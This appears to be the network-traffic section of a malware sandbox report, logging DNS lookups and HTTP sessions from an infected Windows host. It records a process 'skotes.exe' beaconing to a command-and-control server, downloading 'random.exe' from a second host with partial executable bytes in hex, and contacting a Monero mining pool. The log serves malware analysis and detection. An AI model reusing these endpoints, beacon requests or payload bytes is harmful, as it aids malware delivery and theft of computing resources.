Nov 24, 2024 12:25:16.032680035 CET	192.168.2.4	1.1.1.1	0x6938	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:25:16.033067942 CET	192.168.2.4	1.1.1.1	0x9f12	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 12:25:19.597695112 CET	192.168.2.4	1.1.1.1	0x6b93	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:25:19.597803116 CET	192.168.2.4	1.1.1.1	0xb5b1	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 12:26:10.259861946 CET	192.168.2.4	1.1.1.1	0x279c	Standard query (0)	xmr-eu2.nanopool.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:13.789593935 CET	192.168.2.4	1.1.1.1	0x6bc0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:13.789668083 CET	192.168.2.4	1.1.1.1	0xaef1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 12:26:16.865894079 CET	192.168.2.4	1.1.1.1	0x3c0	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:16.865978956 CET	192.168.2.4	1.1.1.1	0xcc9c	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 12:26:18.448812008 CET	192.168.2.4	1.1.1.1	0x38db	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:18.456453085 CET	192.168.2.4	1.1.1.1	0x88f7	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.008136034 CET	192.168.2.4	1.1.1.1	0x38db	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.009284973 CET	192.168.2.4	1.1.1.1	0x16a5	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.009726048 CET	192.168.2.4	1.1.1.1	0x1973	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.220035076 CET	192.168.2.4	1.1.1.1	0x40a1	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 24, 2024 12:26:19.221126080 CET	192.168.2.4	1.1.1.1	0xad1d	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 12:26:52.235317945 CET	192.168.2.4	1.1.1.1	0xeb77	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:04.871131897 CET	192.168.2.4	1.1.1.1	0x3dc4	Standard query (0)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:15.486897945 CET	192.168.2.4	1.1.1.1	0xf3a9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:15.487004995 CET	192.168.2.4	1.1.1.1	0xdb6e	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 12:27:20.248277903 CET	192.168.2.4	1.1.1.1	0x159d	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:20.248632908 CET	192.168.2.4	1.1.1.1	0x7260	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 12:24:21.649115086 CET	1.1.1.1	192.168.2.4	0x9759	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:37.474756956 CET	1.1.1.1	192.168.2.4	0x8def	Name error (3)	aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:49.233805895 CET	1.1.1.1	192.168.2.4	0x979e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:50.752754927 CET	1.1.1.1	192.168.2.4	0x2ea	Name error (3)	aXoOEZERyLjmcASXxTaZGLMxwNjgk.aXoOEZERyLjmcASXxTaZGLMxwNjgk	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.245206118 CET	1.1.1.1	192.168.2.4	0x3637	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.245206118 CET	1.1.1.1	192.168.2.4	0x3637	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:52.245304108 CET	1.1.1.1	192.168.2.4	0x1de9	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:24:58.806494951 CET	1.1.1.1	192.168.2.4	0x8603	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:25:16.169770002 CET	1.1.1.1	192.168.2.4	0x6938	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:25:16.170351982 CET	1.1.1.1	192.168.2.4	0x9f12	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 12:25:19.734992981 CET	1.1.1.1	192.168.2.4	0x6b93	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.15.89.13	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.195.43.17	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		163.172.171.111	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.195.138.197	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.210.150.92	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.15.61.114	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:10.400538921 CET	1.1.1.1	192.168.2.4	0x279c	No error (0)	xmr-eu2.nanopool.org		51.68.137.186	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:13.927192926 CET	1.1.1.1	192.168.2.4	0xaef1	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 12:26:13.927953005 CET	1.1.1.1	192.168.2.4	0x6bc0	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:17.003761053 CET	1.1.1.1	192.168.2.4	0x3c0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.003761053 CET	1.1.1.1	192.168.2.4	0x3c0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.003761053 CET	1.1.1.1	192.168.2.4	0x3c0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.003761053 CET	1.1.1.1	192.168.2.4	0x3c0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:17.004442930 CET	1.1.1.1	192.168.2.4	0x18e0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.004442930 CET	1.1.1.1	192.168.2.4	0x18e0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.004442930 CET	1.1.1.1	192.168.2.4	0x18e0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:17.004766941 CET	1.1.1.1	192.168.2.4	0x473f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.005011082 CET	1.1.1.1	192.168.2.4	0xcc9c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:17.005011082 CET	1.1.1.1	192.168.2.4	0xcc9c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:18.586314917 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:18.586314917 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:18.586314917 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:18.586314917 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:18.757884026 CET	1.1.1.1	192.168.2.4	0x88f7	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:18.757884026 CET	1.1.1.1	192.168.2.4	0x88f7	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147030115 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147030115 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147030115 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147030115 CET	1.1.1.1	192.168.2.4	0x38db	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147263050 CET	1.1.1.1	192.168.2.4	0x1973	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147263050 CET	1.1.1.1	192.168.2.4	0x1973	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147263050 CET	1.1.1.1	192.168.2.4	0x1973	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.147263050 CET	1.1.1.1	192.168.2.4	0x1973	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.148720026 CET	1.1.1.1	192.168.2.4	0x16a5	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:26:19.358231068 CET	1.1.1.1	192.168.2.4	0x40a1	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 12:26:19.358231068 CET	1.1.1.1	192.168.2.4	0x40a1	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 12:26:19.358231068 CET	1.1.1.1	192.168.2.4	0x40a1	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 12:26:19.358231068 CET	1.1.1.1	192.168.2.4	0x40a1	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 24, 2024 12:26:22.530744076 CET	1.1.1.1	192.168.2.4	0xbb72	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:22.530744076 CET	1.1.1.1	192.168.2.4	0xbb72	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:22.530864000 CET	1.1.1.1	192.168.2.4	0xbb72	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:22.530864000 CET	1.1.1.1	192.168.2.4	0xbb72	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:44.484847069 CET	1.1.1.1	192.168.2.4	0x27cd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:44.717794895 CET	1.1.1.1	192.168.2.4	0xa1f7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:26:52.374866009 CET	1.1.1.1	192.168.2.4	0xeb77	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:05.009067059 CET	1.1.1.1	192.168.2.4	0x3dc4	Name error (3)	EaUMrTLEnhJoi.EaUMrTLEnhJoi	none	none	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:15.624496937 CET	1.1.1.1	192.168.2.4	0xf3a9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.624496937 CET	1.1.1.1	192.168.2.4	0xf3a9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.624496937 CET	1.1.1.1	192.168.2.4	0xf3a9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.624496937 CET	1.1.1.1	192.168.2.4	0xf3a9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:15.625571966 CET	1.1.1.1	192.168.2.4	0xdb6e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.625571966 CET	1.1.1.1	192.168.2.4	0xdb6e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.694813013 CET	1.1.1.1	192.168.2.4	0xba74	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.804500103 CET	1.1.1.1	192.168.2.4	0x6986	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.804500103 CET	1.1.1.1	192.168.2.4	0x6986	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:15.804500103 CET	1.1.1.1	192.168.2.4	0x6986	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 12:27:19.157640934 CET	1.1.1.1	192.168.2.4	0xbbf1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:19.242106915 CET	1.1.1.1	192.168.2.4	0x9fa	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:20.630490065 CET	1.1.1.1	192.168.2.4	0x159d	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 12:27:20.681441069 CET	1.1.1.1	192.168.2.4	0x7260	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:05.632623911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 12:24:07.029761076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49759	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:08.658545971 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 12:24:10.115921021 CET	864	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 61 31 0d 0a 20 3c 63 3e 31 30 30 38 37 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 37 33 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 37 63 37 31 37 31 66 65 36 30 37 62 30 31 66 31 37 30 33 35 33 62 35 64 65 62 35 34 30 62 37 38 62 39 61 35 35 33 36 65 36 23 31 30 30 38 37 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 37 63 37 31 37 31 66 65 36 30 37 62 30 31 66 31 37 30 33 36 34 38 66 66 62 64 33 30 64 38 33 39 37 39 61 35 35 33 36 65 36 23 31 30 30 38 37 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 [TRUNCATED] Data Ascii: 2a1 <c>1008733001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008738001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d27c7171fe607b01f170353b5deb540b78b9a5536e6#1008743001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d27c7171fe607b01f1703648ffbd30d83979a5536e6#1008744001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008745001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008746001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008747001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49765	31.41.244.11	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:10.242563963 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 12:24:11.679292917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:11 GMT Content-Type: application/octet-stream Content-Length: 4380672 Last-Modified: Sun, 24 Nov 2024 09:56:57 GMT Connection: keep-alive ETag: "6742f869-42d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 50 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c4 00 00 04 00 00 04 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 33 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 33 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2PJ@C@ _qs33 px'@.rsrc p'@.idata q'@ 8q'@ozcvkfvj0&'@iubdojmz@B@.taggant0P"B@
Nov 24, 2024 12:24:11.679442883 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:11.679476023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:11.679529905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:11.679569006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:11.679603100 CET	1236	IN	Data Raw: 65 8e f4 2b d3 cd 4a 54 2b 03 d4 f7 d3 db e8 f0 a9 69 3c 40 6b 7f ae 6f 8d c6 53 eb 81 83 f6 2f 72 db 2b 67 09 3a c6 83 e7 32 57 13 0d a0 c3 f6 62 10 b7 28 00 47 7a 3d 3a 0b 3f d0 80 3f 77 25 a3 24 8d 38 10 d4 36 06 e4 a8 cc 35 4c 65 ef ae 7e 06 Data Ascii: e+JT+i<@koS/r+g:2Wb(Gz=:??w%$865Le~oX/&+'yO^tQ;R,.~gNhN528JZv*HXU~Src;zVf6%-Yn["i<9L5++?@DB
Nov 24, 2024 12:24:11.679676056 CET	896	IN	Data Raw: a3 a5 a1 81 2e 7e a8 94 af f3 c5 38 d5 be a8 a2 3f 22 90 77 10 1b 9a 93 a5 33 49 fe 70 bf 20 b9 d5 59 7a f3 4c 98 d9 42 b3 c4 87 11 cd 82 ed dd 36 a4 af 54 34 cb 81 0f 21 fb 6b d8 ba 11 d3 d4 81 43 d2 f7 43 35 9d 11 95 74 34 d9 08 fc 54 8e 03 d4 Data Ascii: .~8?"w3Ip YzLB6T4!kCC5t4TU3TFNy$ k%y?ae[}z}}_9Ryp}JA>7:sq<<MZJw37^3[d65GPuH_F;Ko\t@<d{>CVEUI/S\*
Nov 24, 2024 12:24:11.679712057 CET	1236	IN	Data Raw: 0c 6a 9b 43 0a fa 5c fa ab a7 96 f7 07 77 60 e0 f8 18 94 7a 84 d8 7b 86 57 8a 21 8f c4 bd 13 a0 52 7c 9f a6 bd fd 5f 23 b5 70 85 6f 2e 77 96 62 fb f1 1f d3 36 73 94 c5 f1 72 13 b1 8c 1f 6a f7 51 08 8b af 08 0b 1f 95 37 9d bf 71 42 b9 58 93 89 aa Data Ascii: jC\w`z{W!R\|_#po.wb6srjQ7qBXBnryvH.G{$&2I4p(I$Cl8J;Y0Ca]5KsO8@BHJii8{%U9Jr+=Sixi{;*IQGpPr\|(>wx`
Nov 24, 2024 12:24:11.679748058 CET	1236	IN	Data Raw: 10 ff ee d1 6a 33 68 0a 0a 3c 60 0a 7f 00 7e 90 0b 64 9f f1 c8 74 f9 0b f2 27 fc 6e 15 cb 3f d6 d9 1e f5 89 b7 60 93 7a a3 06 1f 76 90 76 5d f8 d0 7c 79 e0 29 34 d4 3c 53 af c1 2b 1f 56 ea 82 c9 f3 7f fc 76 93 f6 59 34 76 b6 ee 8a d1 83 4c 96 2e Data Ascii: j3h<`~dt'n?`zvv]\|y)4<S+VvY4vL.3_m}vo.f_CU,oTkT^'o?+U$1`"yU@Zu~+yx3;H_.5\@cW{38dlCrvpp8UTw)~E<=@VTT
